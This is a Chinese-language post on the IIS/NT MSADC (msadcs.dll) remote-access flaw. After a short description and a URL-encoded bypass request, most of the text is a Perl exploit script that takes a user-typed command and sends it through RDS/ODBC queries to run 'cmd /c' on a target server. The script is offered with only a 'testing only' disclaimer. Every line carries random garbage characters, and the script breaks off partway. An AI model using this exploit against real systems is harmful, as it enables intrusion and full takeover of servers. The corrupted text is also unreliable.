IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
is`a_{5e= lxxK6;r~> 涉及程序:
1r8]EaI Microsoft NT server
b|xz`wUH0$ &QE* V 描述:
Oo#wPT;1^( 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8HWY]:|oh zL>nDnL 4 详细:
EKDv3aFQZ# 如果你没有时间读详细内容的话,就删除:
|_ ;-~bmb c:\Program Files\Common Files\System\Msadc\msadcs.dll
[y:6vC 有关的安全问题就没有了。
SR\#>Qwx_ #_H=pNWe 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
t=U[ ;? 2
OGg`1XX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
O,DA{> *m 关于利用ODBC远程漏洞的描述,请参看:
.!Z.1:YR :1AOund http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm v|`)~"~ 1ra}^H} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{wd.aUB http://www.microsoft.com/security/bulletins/MS99-025faq.asp sSvQatwS 3<Cd>o. 这里不再论述。
dz7*a{ / P{f#rV5 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
7IFUsli] VGe/;&1h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c !5OK4+Z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
id*UTY
Tg )+ S" ` ";xG[ne$Be #将下面这段保存为txt文件,然后: "perl -x 文件名"
IoA"e@~t o6svSS #!perl
ww[STg #
rs!J<CRq # MSADC/RDS 'usage' (aka exploit) script
D?9=q #
\ar.(J # by rain.forest.puppy
0WQ0-~wx #
XD*$$`+# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A87Tyk2Pi # beta test and find errors!
4R^'+hy|? }!B<MGBd use Socket; use Getopt::Std;
;g?5V getopts("e:vd:h:XR", \%args);
;)UZT^f`)K jz/@Zg", print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`yc.A%5 `
R^[s56wp if (!defined $args{h} && !defined $args{R}) {
CM7j^t print qq~
^W'\8L Usage: msadc.pl -h <host> { -d <delay> -X -v }
e}aD<EG -h <host> = host you want to scan (ip or domain)
G!%1<SLi. -d <seconds> = delay between calls, default 1 second
.XS rLb? -X = dump Index Server path table, if available
u\>Ed9^ -v = verbose
'0w'||#1 -e = external dictionary file for step 5
oXfLNe6>L a*=\-;HaZ Or a -R will resume a command session
u},<On Qx$Yj ~; exit;}
Jw9|I)H U9kt7#@FDK $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Hn:%(Rg=aW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~I2IgEj>] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
RYmk6w!w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+-HaYB|p $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
t3G%}d? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
R1A!ob ~"{Kjr#R if (!defined $args{R}){ $ret = &has_msadc;
>m%\SuXq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-s4qm)\ c_&iGQ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5LXK#+Z . "cmd /c ";
c5^i5de $in=<STDIN>; chomp $in;
_?`3zm4 $command="cmd /c " . $in ;
mtmtOG_/= 9/q4]%` if (defined $args{R}) {&load; exit;}
eEupqOF*:W 8v c4J5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
aY8>#t? &try_btcustmr;
Rnun() plJ T3!l{vG
\O print "\nStep 2: Trying to make our own DSN...";
v5 $"v?PT &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0Tg/R4dI Ca]vK'( print "\nStep 3: Trying known DSNs...";
En-eG37l &known_dsn;
rVFAwbR 8[
:FU print "\nStep 4: Trying known .mdbs...";
~ia#=|1} &known_mdb;
@(&ki~+ lvcX}{>\ if (defined $args{e}){
q<.^DO~$L print "\nStep 5: Trying dictionary of DSN names...";
!dSY?1>U< &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HrWXPac
A /dBQ*f5 print "Sorry Charley...maybe next time?\n";
u!X[xe; exit;
Vz51=?75 qvhTc6oH ##############################################################################
]p@7[8} Qx'a+kLu9 sub sendraw { # ripped and modded from whisker
%GjF;dJ sleep($delay); # it's a DoS on the server! At least on mine...
x1?p+ my ($pstr)=@_;
Cm(Hu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qEX59v die("Socket problems\n");
(\,mA-%E if(connect(S,pack "SnA4x8",2,80,$target)){
5H;* Nj@ select(S); $|=1;
nD!C9G#oS print $pstr; my @in=<S>;
XR]]g+Z select(STDOUT); close(S);
HO}aLp return @in;
a{el1_DIGK } else { die("Can't connect...\n"); }}
B5P++aQ 'xvV;bi ##############################################################################
E^T/Qu PBR+NHrZ sub make_header { # make the HTTP request
.V
9E@_( my $msadc=<<EOT
hFyN|Dqhds POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,1RW}1n User-Agent: ACTIVEDATA
24>{T5E Host: $ip
X
NnsMl Content-Length: $clen
`Nc3I\tCM Connection: Keep-Alive
h9&<-k : :e=6i ADCClientVersion:01.06
J rYpZ.Nh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,N5Rdgzk GVCyVt[!- --!ADM!ROX!YOUR!WORLD!
ZLxe$.V_ Content-Type: application/x-varg
6D/5vM1 Content-Length: $reqlen
nU||Jg x.>z2. EOT
!A&Vg # ; $msadc=~s/\n/\r\n/g;
jKM-(s!( return $msadc;}
NJLU+byU KvkiwO( ##############################################################################
%ktU 51o pG:FDlR~ sub make_req { # make the RDS request
_av%`bb&z9 my ($switch, $p1, $p2)=@_;
h&;\ my $req=""; my $t1, $t2, $query, $dsn;
FV!
o_X"+ s if ($switch==1){ # this is the btcustmr.mdb query
2p(K0PtX $query="Select * from Customers where City=" . make_shell();
m 9.QGX\] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
80c\O-{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\Vr(P> 1!0BE8s"@ elsif ($switch==2){ # this is general make table query
>=r094< $query="create table AZZ (B int, C varchar(10))";
kG@1jMPtQ $dsn="$p1";}
f*bs{H'5 )TVyRY Z1 elsif ($switch==3){ # this is general exploit table query
P=(\3ok $query="select * from AZZ where C=" . make_shell();
#0hX)7(j $dsn="$p1";}
=DcKHL(m X];a(7+2 elsif ($switch==4){ # attempt to hork file info from index server
f)?s.DvUB $query="select path from scope()";
_lu.@IX- $dsn="Provider=MSIDXS;";}
UTHGjE 8{epy elsif ($switch==5){ # bad query
|!flR? OU $query="select";
y[.0L!C { $dsn="$p1";}
zA\DI]:+ =Q[5U9 $t1= make_unicode($query);
E.}T.St $t2= make_unicode($dsn);
| t3_E $req = "\x02\x00\x03\x00";
rF>:pS,`& $req.= "\x08\x00" . pack ("S1", length($t1));
0waQw7
E $req.= "\x00\x00" . $t1 ;
^Me__Y $req.= "\x08\x00" . pack ("S1", length($t2));
Pdrz lu $req.= "\x00\x00" . $t2 ;
}#a d $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
CQ"5bnR return $req;}
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